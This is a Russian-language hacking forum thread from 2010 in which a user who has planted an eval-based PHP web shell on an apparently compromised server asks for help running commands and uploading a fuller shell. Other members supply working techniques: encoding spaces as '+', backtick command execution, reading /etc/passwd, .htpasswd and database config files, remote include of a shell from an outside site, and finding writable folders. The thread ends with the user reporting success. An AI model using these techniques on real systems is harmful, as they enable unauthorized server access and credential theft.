php шелл не работают команды

Discussion in 'Песочница' started by nullik, 8 May 2010.

Thread Status:
Not open for further replies.
  1. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    залит eval('cmd') php шелл, но в чем проблема не понятно
    команда shell.php?cmd=passthru('uname'); выдаёт Linux
    а уже passthru('uname -a'); выдаёт пустой лист.
    Так же с 'ls' (выдает список файлов) и 'ls -a' (пустой лист), в итоге не могу залить нормальный шелл. Ни через php функцию copy, file_get_contents, ни через exec (wget);
    Подскажите в чем проблема, плиз.
     
    #1 nullik, 8 May 2010
    Last edited: 8 May 2010
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,515
    Likes Received:
    400
    Reputations:
    196
    вместо пробела "+" ставь
     
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    ешо через принт попробуй

    print(`ls -al`)
     
    _________________________
  4. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    passthru('uname+-a');
    пустой лист.
    работает правильно, тогда вопрос как залить шелл в такой ситуации?
    copy(`http://moy sayt.com/shell.txt`,dirname(__FILE__).`/shell.php`);
    не срабатывает например
     
    #4 nullik, 9 May 2010
    Last edited: 9 May 2010
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    wget не катит?
     
    _________________________
  6. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    дай плиз полную выкладку по wget, может я где промахиваюсь
     
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    http://www.gnu.org/software/wget/manual/wget.html

    а еще можешь читать системные файлы если есть права

    print(`cat /etc/passwd`)

    определи полный путь к сайту и читай скрипты
     
    _________________________
  8. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    не хочу читать, хочу писать
    смысл в shadow файлах?
    дай плиз php команду для залива, wget -o не срабатывает, GET тоже, fetch Не хочет, может я где не так пишу - напиши пример (гугль шарил, не помогло).
     
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    если можешь читать конфиг файлы увидишь много интересного,
    например admin.php,db.php,login.php

    или файлы .htaccess, .htpasswd

    ешо попробуй include("yoursite.com/shell.php"); или require()
     
    _________________________
  10. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,515
    Likes Received:
    400
    Reputations:
    196
    такие кавычки нельзя использовать для опредления строк, только
    и
    для начала найди папки, куда писать можно командой ls -lia или find
     
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    https://forum.antichat.net/thread191917.html
     
  12. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    print(`find . -perm 775`);
    моя папка доступна на запись, как залиться то?
     
  13. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    Всем спасибо, общими усилиями шелл был залит.
     
    #13 nullik, 9 May 2010
    Last edited: 9 May 2010
Thread Status:
Not open for further replies.